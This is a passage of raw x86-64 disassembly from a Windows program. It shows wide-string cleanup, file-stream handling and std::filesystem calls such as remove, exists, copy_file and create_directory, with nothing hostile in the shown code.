lea rcx, [rsp + 0x2f0]
call fcn.140039770
nop
lea rdx, [rsp + 0x408]
cmp qword [rsp + 0x420], 7
cmova rdx, qword [rsp + 0x408]
mov r8, qword [rsp + 0x418]
lea rcx, [rsp + 0x450]
call fcn.140072550
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005d9e0
lea rdx, [rsp + 0x310]
cmp qword [rsp + 0x328], 7
cmova rdx, qword [rsp + 0x310]
mov r8, qword [rsp + 0x320]
mov rcx, rax
call fcn.140072550
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005d9e0
lea rdx, [rsp + 0x3c8]
cmp qword [rsp + 0x3e0], 7
cmova rdx, qword [rsp + 0x3c8]
mov r8, qword [rsp + 0x3d8]
mov rcx, rax
call fcn.140072550
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005d9e0
lea rdx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 7
cmova rdx, qword [rsp + 0x2f0]
mov r8, qword [rsp + 0x300]
mov rcx, rax
call fcn.140072550
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005d9e0
lea rdx, [rsp + 0x3a8]
cmp qword [rsp + 0x3c0], 7
cmova rdx, qword [rsp + 0x3a8]
mov r8, qword [rsp + 0x3b8]
mov rcx, rax
call fcn.140072550
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005d9e0
lea rdx, [rsp + 0x3e8]
cmp qword [rsp + 0x400], 7
cmova rdx, qword [rsp + 0x3e8]
mov r8, qword [rsp + 0x3f8]
mov rcx, rax
call fcn.140072550
lea rdx, reloc.OLEAUT32.dll_VariantCopy
mov rcx, rax
call fcn.14005d9e0
lea rdx, [rsp + 0x388]
cmp qword [rsp + 0x3a0], 7
cmova rdx, qword [rsp + 0x388]
mov r8, qword [rsp + 0x398]
mov rcx, rax
call fcn.140072550
mov rcx, rax
call fcn.14005aac0
lea rcx, [rsp + 0x458]
call fcn.14004b7b0
test rax, rax
jne 0x140036e9e
mov rax, qword [rsp + 0x450]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rsp + rcx + 0x498], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rsp + rcx + 0x460]
and eax, 0x17
mov dword [rsp + rcx + 0x460], eax
mov edx, dword [rsp + rcx + 0x464]
and edx, eax
jne 0x14003777d
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x140036ee6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036ee1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400377da
call fcn.14025e770
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], 7
mov word [rsp + 0x2f0], bx
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x140036f4a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036f45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400377e0
call fcn.14025e770
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], 7
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x3a0]
cmp rdx, 7
jbe 0x140036fae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x388]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036fa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400377e6
call fcn.14025e770
mov qword [rsp + 0x398], rbx
mov qword [rsp + 0x3a0], 7
mov word [rsp + 0x388], bx
mov rdx, qword [rsp + 0x3c0]
cmp rdx, 7
jbe 0x140037012
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003700d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400377ec
call fcn.14025e770
mov qword [rsp + 0x3b8], rbx
mov qword [rsp + 0x3c0], 7
mov word [rsp + 0x3a8], bx
mov rdx, qword [rsp + 0x3e0]
cmp rdx, 7
jbe 0x140037076
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037071
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400377f2
call fcn.14025e770
mov qword [rsp + 0x3d8], rbx
mov qword [rsp + 0x3e0], 7
mov word [rsp + 0x3c8], bx
mov rdx, qword [rsp + 0x400]
cmp rdx, 7
jbe 0x1400370da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x3e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400370d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400377f8
call fcn.14025e770
mov qword [rsp + 0x3f8], rbx
mov qword [rsp + 0x400], 7
mov word [rsp + 0x3e8], bx
mov rdx, qword [rsp + 0x420]
cmp rdx, 7
jbe 0x14003713e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037139
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400377fe
call fcn.14025e770
mov qword [rsp + 0x418], rbx
mov qword [rsp + 0x420], 7
mov word [rsp + 0x408], bx
mov rax, qword [rsp + 0x450]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x450], r14
mov rax, qword [rsp + 0x450]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x44c], edx
lea rcx, [rsp + 0x458]
call fcn.1400407a0
mov rax, qword [rsp + 0x450]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + rcx + 0x450], rax
mov rax, qword [rsp + 0x450]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x44c], edx
lea r12, vtable.std::ios_base.0
mov qword [rsp + 0x4f8], r12
lea rcx, [rsp + 0x4f8]
call fcn.140242ad4
nop
mov rdx, qword [rsp + 0x348]
cmp rdx, 7
jbe 0x140037231
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003722c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037804
call fcn.14025e770
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], 7
mov word [rsp + 0x330], bx
mov rdx, qword [rsp + 0x368]
cmp rdx, 7
jbe 0x140037295
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037290
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003780a
call fcn.14025e770
mov qword [rsp + 0x360], rbx
mov qword [rsp + 0x368], 7
mov word [rsp + 0x350], bx
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x1400372fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400372f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037810
call fcn.14025e770
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 7
jbe 0x140037343
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003733d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037816
call fcn.14025e770
nop
mov rsi, qword [rsp + 0x70]
mov r15d, 2
lea r14, [0x140343cb0]
jmp 0x140036050
mov rcx, qword [rsp + 0x1f8]
call fcn.140164c40
mov rcx, qword [rsp + 0x200]
call fcn.14017ede0
mov r8d, 3
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x180]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x170], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x120], ecx
mov qword [rsp + 0x128], r14
movaps xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x210], xmm0
mov eax, dword [rsp + 0x170]
test eax, eax
je 0x14003741a
cmp eax, 1
je 0x140037422
lea rcx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rcx, qword [rsp + 0x230]
call fcn.1402400ac
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14003781c
jmp 0x140037422
test ecx, ecx
jne 0x140037835
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x14003746a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037465
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037852
call fcn.14025e770
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x1400374ca
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400374c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037858
call fcn.14025e770
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x140037512
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003750d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003787b
call fcn.14025e770
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0xf
jbe 0x140037571
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003756c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037881
call fcn.14025e770
add rsi, 0x20
jmp 0x140035780
test ecx, ecx
jne 0x14003785e
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x1400375ca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400375c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003787b
call fcn.14025e770
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], 7
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0xf
jbe 0x140037571
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003756c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037881
jmp 0x14003756c
lea rcx, [rsp + 0x370]
call fcn.140040900
nop
mov rdx, qword [rsp + 0x440]
cmp rdx, 7
jbe 0x140035dfa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x428]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035df5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035df5
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3
shr rdx, 0x20
lea r8, [rsp + 0x230]
lea rcx, str.remove
call fcn.1400089f0
int3
lea r8, [rsp + 0x230]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ae0
int3
shr rdx, 0x20
lea r9, [rsp + 0x230]
lea r8, [rsp + 0x250]
lea rcx, str.copy_file
call fcn.140008a60
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ae0
nop
shr rdx, 0x20
lea r8, [rsp + 0x48]
lea rcx, str.create_directory
call fcn.1400089f0
nop
call fcn.14027aed0
int3
call fcn.14004fc20
nop
call fcn.1400034c0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
test dl, 4
je 0x14003778b
lea rbx, str.ios_base::badbit_set
jmp 0x1400377a0
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x1c0]
call fcn.1400038a0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x1d0]
call fcn.1400052f0
lea rdx, [0x14033ae70]
lea rcx, [rsp + 0x1d0]
call fcn.140260b78
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
shr rdx, 0x20
lea r8, [rsp + 0x230]
lea rcx, str.remove
call fcn.1400089f0
int3
lea r8, [rsp + 0x230]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ae0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x210]
lea rcx, str.exists
call fcn.140008ae0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3